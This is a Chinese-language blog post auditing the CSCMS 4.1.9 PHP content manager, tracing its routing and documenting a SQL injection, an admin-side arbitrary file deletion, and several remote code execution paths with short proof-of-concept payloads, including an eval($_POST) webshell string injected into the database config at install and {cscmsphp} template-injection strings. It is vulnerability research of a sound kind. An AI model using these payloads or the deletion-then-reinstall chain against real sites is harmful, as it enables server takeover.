• CSCMS代码审计


    很久之前审的了。

    文章首发于奇安信攻防社区
    https://forum.butian.net/share/1626

    0x00 前言

    CSCMS是一款强大的多功能内容管理系统,采用php5+mysql进行开发,运用OOP(面向对象)方式进行框架搭建。CSCMS用CodeIgniter框架作为内核开发,基于MVC模式,使程序运行的速度和服务器得到很好的优化,使web平台拥有良好的兼容性和稳定性。

    本文所用到的cscms版本是4.1.9, CI 框架版本为 3.1.3

    0x01 全局分析

    安装就不说了,phpstudy 访问install.php 点点点就好了。

    image-20211227103411723

    目录结构:

    image-20211227113335623

    配置文件在/upload/cscms/config目录下

    image-20211227113419553

    index.php

    为了弄清cscms的流程,来跟踪一下index.php的执行流程。

    index.php是cscms的前台入口文件

    <?php
    /**
     * @Cscms 4.x open source management system
     * @copyright 2008-2015 chshcms.com. All rights reserved.
     * @Author:Cheng Kai Jie
     * @Dtime:2017-03-10
     */
    //默认时区
    date_default_timezone_set("Asia/Shanghai");
    //应用环境,TRUE 打开报错,FALSE关闭报错
    define('ENVIRONMENT',false);
    //路径分隔符
    define('FGF', DIRECTORY_SEPARATOR);//DIRECTORY_SEPARATOR => / or \
    //核心路径配置
    $cs_folder = 'cscms/config';
    //环境报错设置
    if(ENVIRONMENT == TRUE){
    	error_reporting(-1);
    	ini_set('display_errors', 1);
    }else{
    	ini_set('display_errors', 0);
    	if (version_compare(PHP_VERSION, '5.3', '>=')){
    		error_reporting(E_ALL & ~E_NOTICE & ~E_DEPRECATED & ~E_STRICT & ~E_USER_NOTICE & ~E_USER_DEPRECATED);
    	}else{
    		error_reporting(E_ALL & ~E_NOTICE & ~E_STRICT & ~E_USER_NOTICE);
    	}
    }
    //路径常量设置
    if(!defined('SELF')){
    	define('SELF', pathinfo(__FILE__, PATHINFO_BASENAME));
    }
    if(!defined('FCPATH')){
    	define('FCPATH', dirname(__FILE__).FGF);  //dirname(__FILE__)取得当前文件所在的绝对目录
    }
    //CSCMS路径检测
    if(is_dir($cs_folder)){
    	if (($_temp = realpath($cs_folder)) !== FALSE){
    		$cs_folder = $_temp.FGF;
    	}else{
    		$cs_folder = strtr(rtrim($cs_folder, '/\\'),'/\\',FGF.FGF).FGF;
    	}
    }else{
    	header('HTTP/1.1 503 Service Unavailable.', TRUE, 503);
    	echo 'The kernel configuration directory is incorrect.';exit;
    }
    define('CSCMS', $cs_folder);
    define('CSPATH', FCPATH.'cscms'.FGF);
    define('CSCMSPATH', FCPATH.'packs'.FGF);
    //当前运行URI
    define('REQUEST_URI', str_replace(array(SELF,'//'),array('','/'),$_SERVER['REQUEST_URI']));
    require_once CSCMS.'sys/Cs_Cscms.php';
    

    定义了一些环境变量和路径常量,在一旁记录一下,方便之后查找:

    FCPATH : 当前文件所在的绝对路径,这里是 C:\Users\yokan\Desktop\cmcms\upload\index.php
    CSCMS :   cscms/config
    CSPATH :   C:\Users\yokan\Desktop\cmcms\upload\cscms\
    CSCMSPATH :    C:\Users\yokan\Desktop\cmcms\upload\packs\
    
    #$cs_folder = 'cscms/config';
    #define('CSCMS', $cs_folder);
    #define('CSPATH', FCPATH.'cscms'.FGF);
    #define('CSCMSPATH', FCPATH.'packs'.FGF);
    

    最后引入了Cs_Cscms.php文件,又定义了一些常量,以及访问主页的渲染:

    $sys_folder = 'cscms/system';
    $app_folder = 'cscms/app';
    $tpl_folder = 'tpl';
    
    define('BASEPATH', $sys_folder);
    define('SYSDIR', basename(BASEPATH));
    define('APPPATH', $app_folder.FGF);
    define('VIEWPATH', $tpl_folder.FGF);
    
    //获取当前目录路径参数
    function cscms_cur_url() { 
        if(!empty($_SERVER["REQUEST_URI"])){ 
            $scrtName = $_SERVER["REQUEST_URI"]; 
            $nowurl = $scrtName; 
        } else { 
            $scrtName = $_SERVER["PHP_SELF"]; 
            if(empty($_SERVER["QUERY_STRING"])) { 
                $nowurl = $scrtName; 
            } else { 
                $nowurl = $scrtName."?".$_SERVER["QUERY_STRING"]; 
            } 
        } 
    	$nowurl=str_replace("//", "/", $nowurl);
        return $nowurl; 
    }
    //获取当前URI参数
    function cscms_uri($n=0){
    	$REQUEST_URI = substr(REQUEST_URI,0,1)=='/' ? substr(REQUEST_URI,1) : REQUEST_URI;
    	if(!empty($REQUEST_URI)){
    		$arr = explode('/', $REQUEST_URI);
    		if(Web_Path != '/'){
    			unset($arr[0]);
    			$arr = array_merge($arr);
    		}
    		if(!empty($arr[$n])){
        		return str_replace("/", "", $arr[$n]);
    		}
    	}
        return '';
    }
    

    然后引入CI框架,载入框架的类、常量、函数、安全配置等:

    require_once BASEPATH.'core/CodeIgniter.php';
    

    image-20211227212347410

    接下来把重点关注在路由上,CodeIgniter.php引入了路由类,Router.php

    image-20211227215243138

    Router.php

    在全局分析的时候,一定要把路由搞清楚,不然后面很难将代码与功能点快速定位

    代码很多,不用细看,搞懂它的路由规则就可以。

    当然,CI官方文档也有现成的:URI 路由 — CodeIgniter 3.1.5 中文手册|用户手册|用户指南|中文文档

    URL 中的每一段通常遵循下面的规则:

    example.com/class/function/id/
    

    image-20211227224032016

    例如这个url

    http://192.168.111.141/index.php/dance/playsong
    

    我们很容易定位到dance类下的playsong方法:

    image-20211227222038902

    admin.php

    后台的跳转是通过设置标志位 “IS_ADMIN=TRUE”来实现的:

    admin.php:

    <?php
    /**
     * @Cscms 4.x open source management system
     * @copyright 2008-2015 chshcms.com. All rights reserved.
     * @Author:Cheng Jie
     * @Dtime:2014-08-01
     */
    define('IS_ADMIN', TRUE); // 后台标识
    define('ADMINSELF', pathinfo(__FILE__, PATHINFO_BASENAME)); // 后台文件名
    define('SELF', ADMINSELF);
    define('FCPATH', dirname(__FILE__).DIRECTORY_SEPARATOR); // 网站根目录
    require('index.php'); // 引入主文件
    

    index.php:

    require_once CSCMS.'sys/Cs_Cscms.php';
    

    Cs_Cscms.php

    image-20211227222721012

    0x02 漏洞审计

    熟悉完代码的大概结构之后,个人还是更喜欢通过敏感函数回溯的方法进行审计

    使用 静态审计和动态调试结合进行审计。

    静态源代码审计系统:rips、seay、Fotify等

    动态调试:phpstorm+xdebug

    SQL注入

    upload/plugins/dance/playsong.php文件下的$zd变量,直接与sql语句拼接进行了查询操作

    image-20211228131812980

    回溯一下它是怎么得到的:

    找到get_post函数定义的位置:

    在seay中直接右键,定位函数即可:

    image-20211228133054896

    image-20211228133106352

    在phpstorm中,可以通过按两次shift键,进行搜索:

    image-20211228133151457

    进行CS_input.php,来看一下get_post函数:

    执行流程 get_post方法→get方法→fetch_from_array方法

    image-20211228133923658

    重点来了,下面是_fetch_from_array方法的全部代码:

    	protected function _fetch_from_array(&$array, $index = NULL, $xss_clean = NULL, $sql_clean = FALSE)
    	{
    		is_bool($xss_clean) OR $xss_clean = $this->_enable_xss;
    
    		// If $index is NULL, it means that the whole $array is requested
    		isset($index) OR $index = array_keys($array);
    
    		// allow fetching multiple keys at once
    		if (is_array($index))
    		{
    			$output = array();
    			foreach ($index as $key)
    			{
    				$output[$key] = $this->_fetch_from_array($array, $key, $xss_clean);
    			}
    
    			return $output;
    		}
    
    		if (isset($array[$index]))
    		{
    			$value = $array[$index];    //$_GET[zd]
    		}
    		elseif (($count = preg_match_all('/(?:^[^\[]+)|\[[^]]*\]/', $index, $matches)) > 1) // Does the index contain array notation
    		{
    			$value = $array;
    			for ($i = 0; $i < $count; $i++)
    			{
    				$key = trim($matches[0][$i], '[]');
    				if ($key === '') // Empty notation will return the value as array
    				{
    					break;
    				}
    
    				if (isset($value[$key]))
    				{
    					$value = $value[$key];
    				}
    				else
    				{
    					return NULL;
    				}
    			}
    		}
    		else
    		{
    			return NULL;
    		}
    		if($xss_clean === TRUE){
    			//CI自带过滤XSS
    			$value = $this->security->xss_clean($value);
    			if($sql_clean === TRUE){
    				//过滤SQL语句
    				$value = safe_replace($value);
    			}else{
    				//HTML代码转义
    				$value = str_encode($value);
    			}
    		}
    		return $value;
    	}
    } 
    

    因为前面传入的参数为:

    $zd = $this->input->get_post('zd',TRUE,TRUE);
    

    并且调用的是get方法,

    所以:

    $value=$_GET['zd']   #$value的值即为zd参数通过get方法传入的内容
    

    不过因为

    $sql_clean === TRUE
    

    所以会调用safe_replace函数进行过滤,我们看看过滤了些什么:

    还是phpstorm按两次shift找到它的实现位置:

    image-20211228135159762

    image-20211228135223069

    可以看到,过滤和编码了一些特殊字符。

    $row=$this->db->query("select id,cid,singerid,name,tid,fid,purl,sc,lrc,dhits".$zd." from ".CS_SqlPrefix."dance where id=".$id."")->row();
    

    但是我们不需要引号去闭合,仍然可以构造sql语句去执行:

    image-20211228141227707

    image-20211228141123761

    任意文件删除

    后台删除附件处没做任何判断和过滤:

    image-20211228150113381

    image-20211228150053413

    image-20211228150058254

    安装RCE

    很多CMS都会存在这种漏洞,不过大多时候利用起来毕竟鸡肋,需要重新安装。

    install.php

    <?php
    /**
     * @Cscms 4.x open source management system
     * @copyright 2008-2018 chshcms.com. All rights reserved.
     * @Author:Cheng Kai Jie
     * @Dtime:2017-03-17
     */
    define('IS_INSTALL', TRUE); // 安装标识
    define('ADMINSELF', pathinfo(__FILE__, PATHINFO_BASENAME)); // 文件名
    define('SELF', ADMINSELF);
    define('FCPATH', dirname(__FILE__).DIRECTORY_SEPARATOR); // 网站根目录
    $uri = parse_url('http://cscms'.$_SERVER['REQUEST_URI']);
    $path = current(explode(SELF, $uri['path']));
    define("install_path",$path);
    define("install_url",install_path.'install.php/');
    require('index.php'); // 引入主文件
    

    →index.php→Cs_Cscms.php

    image-20211228153918534

    通过调试可以发现,后面的执行流程: install.php->common.php

    image-20211230205953702

    image-20211230210006380

    image-20211230210019058

    一步步调试发现最后加载/upload/plugins/sys/Install.php

    image-20211230212431102

    <?php if ( ! defined('BASEPATH')) exit('No direct script access allowed');
    
    class Install extends Cscms_Controller {
    
    	function __construct(){
    		    parent::__construct();
            	$this->load->helper('url');
                $this->load->helper('file');
    ...........................................
    ............................................
    .......................................
    $this->load->helper('string');
    $CS_Encryption_Key='cscms_'.random_string('alnum',10);
    //修改数据库配置文件
    $config=read_file(CSCMS.'sys'.FGF.'Cs_DB.php');
    $config=preg_replace("/'CS_Sqlserver','(.*?)'/","'CS_Sqlserver','".$dbhost."'",$config);
    $config=preg_replace("/'CS_Sqlname','(.*?)'/","'CS_Sqlname','".$dbname."'",$config);
    $config=preg_replace("/'CS_Sqluid','(.*?)'/","'CS_Sqluid','".$dbuser."'",$config);
    $config=preg_replace("/'CS_Sqlpwd','(.*?)'/","'CS_Sqlpwd','".$dbpwd."'",$config);
    $config=preg_replace("/'CS_Dbdriver','(.*?)'/","'CS_Dbdriver','".$dbdriver."'",$config);
    $config=preg_replace("/'CS_SqlPrefix','(.*?)'/","'CS_SqlPrefix','".$dbprefix."'",$config);
    $config=preg_replace("/'CS_Encryption_Key','(.*?)'/","'CS_Encryption_Key','".$CS_Encryption_Key."'",$config);
    if(!write_file(CSCMS.'sys'.FGF.'Cs_DB.php', $config)) exit('5');
    .............................................
    ............................................
    .........................................
    

    匹配我们输入的一些数据库常量的值,没有过滤,然后写入Cs_DB.php文件:

    image-20211228154900156

    比如数据库名称,我们可以直接通过拼接插马:

    cscms');phpinfo();// 
    cscms');eval($_POST[‘cmd’]); //
    

    image-20211228154955439

    image-20211228155011914

    查看效果:

    因为cs_cscms.php中包含了cs_db.php

    image-20211228155038689

    index.php又包含了Cs_Cscms.php

    image-20211228155048385

    所以我们在首页即可触发:

    image-20211228155151518

    配合上面的任意文件删除漏洞,删除掉install.lock文件,然后重新安装,即可完成RCE

    前台RCE

    通过seay的自动审计,定位到Csskins.php的eval函数:

    image-20211228174923278

        // php标签处理
        public function cscms_php($php,$content,$str) {
    		$evalstr=" return $content";
    		$newsphp=eval($evalstr);
            $str=str_replace($php,$newsphp,$str);
    		return $str;
        }
    

    看一下$content参数是否可以控制。

    首先看谁调用了这个方法:

    seay可以用全文追踪或者全局搜索:

    image-20211228180245684

    phpstorm可以"Alt+F7"查找使用:

    image-20211228180051697

    image-20211228180327645

    定位到template_parse方法:

    //解析模板
    public function template_parse($str,$ts=TRUE,$if=true,$row=array()) {
    	if(empty($str)) msg_txt(L('skins_null'));
    	//解析头部、底部、左右分栏
    	$str = $this->topandend($str);
    	//会员登录框
    	$str=str_replace('{cscms:logkuang}',$this->logkuang(),$str);
    	//自定义标签
    	$str=$this->cscmsopt($str);
    	//解析全局标签
    	$str=$this->cscms_common($str);
    	//数据循环
    	$str=$this->csskins($str);
    	//数据统计标签
    	$str=$this->cscount($str);
    	//自定义字段
    	$field = isset($row['cscms_field']) ? $row['cscms_field'] : $row;
    	$str=$this->field($str,$field);
    
    	//PHP代码解析
    	preg_match_all('/{cscmsphp}([\s\S]+?){\/cscmsphp}/',$str,$php_arr);
    	if(!empty($php_arr[0])){
    		for($i=0;$i<count($php_arr[0]);$i++){
    		    $str=$this->cscms_php($php_arr[0][$i],$php_arr[1][$i],$str);
    		}
    	}
    	unset($php_arr);
        ............................................
        ............................................
        .............................................
    

    关注PHP代码解析这块,通过preg_match_all函数匹配template_parse第一个参数$str的内容,然后调用cscmsphp,用eval进行执行。

    image-20211228181622631

    也就是说“程序会将 {cscmsphp} 标签中包裹的代码当做 PHP 代码来执行”

    因此,接下来就是全局搜索 调用template_parse方法的地方,有没有可以控制的点了:

    seay直接全局搜索:

    image-20211228182224855

    phpstorm:ctrl+shift+f

    image-20211228182341145

    全局搜索之后,发现调用这个函数的地方有很多,但是我们要做的就是筛选出有漏洞的地方,但是什么是有漏洞的地方呢,一切输入都是有害的,所以,最好是能找到与数据库操作有关的内容,这些应该是我们要找的重点。

    $Mark_Text=$this->Csskins->template_parse($Mark_Text,true);
    

    搜索之后会发现,所有的模板大概都是这样加载的,于是我们就把重点放在了变量Mark_Text上面

    挨个去看

    这里找到Cstpl.php文件的plub_show方法

    image-20211228215719652

    image-20211228223430923

    对视频内容的各种标签进行了解析,然后无过滤的传入了template_parse函数去执行

    然后找到就去寻找谁调用了plub_show方法:

    image-20211228225329173

    好多都可以控制输入,但是有的经过分析发现进行了过滤。

    这里找到show.php文件:

    image-20211228225410032

    这个 文件页面是用来播放视频的。

    所以上传视频:

    (先到后台,给权限)

    对应的是plugins/vod/user/vod.php文件: save函数

    image-20211228225428687

    选填字段,用的remove_xss进行过滤,但是该函数没有过滤掉 cscmsphp 模板注入

    image-20211228225537592

    因此,在上传视频的选填字段,剧情简介处插入SSTI

    {cscmsphp}phpinfo();{/cscmsphp}
    

    image-20211228225604009

    然后访问即可触发:

    image-20211228225622524

    类似的点还有几个,感兴趣的可以去找找。

    后台RCE1

    也是SSTI模板注入,只不过触发点不同,具体调用过程就不分析了,类似的点肯定还有很多。

    创建个用户,设置个人签名 {cscmsphp}phpinfo(){/cscmsphp}

    发现‘cscmsphp’已经被过滤掉了。

    image-20211228230041797

    登录管理员后台,会员列表页面,可以修改会员信息

    http://127.0.0.1/upload/admin.php/user/edit?id=1

    image-20211228230103726

    写入payload如上

    然后访问如下url,即可触发

    http://127.0.0.1/upload/index.php/justtest/home/info

    image-20211228230118401

    image-20211228230123128

    后台RCE2

    修改模板 插马

    html会以php解析

    这里其实是黑盒测到的:

    点点点浏览网站功能的时候,发现管理员后台可以修改会员主页模板:

    image-20211228234435524

    而一些php文件里直接不加过滤的引用了这些html文件,造成解析

    image-20211228234625659

    image-20211228234603188

  • 相关阅读:
    px, pt, rpx, rem,
    tomcat报错LifecycleException的解决方案
    servlet系列
    tomcat startup.bat双击闪退解决方案。
    代码页
    editplus工具配置
    正则表达式常见字符集
    单片机TM4C123学习(六):看门狗
    stata学习笔记(七):回归分析和稳健性检验
    单片机TM4C123学习(五):UART的使用
  • 原文地址:https://www.cnblogs.com/yokan/p/16390961.html
Copyright © 2020-2023  润新知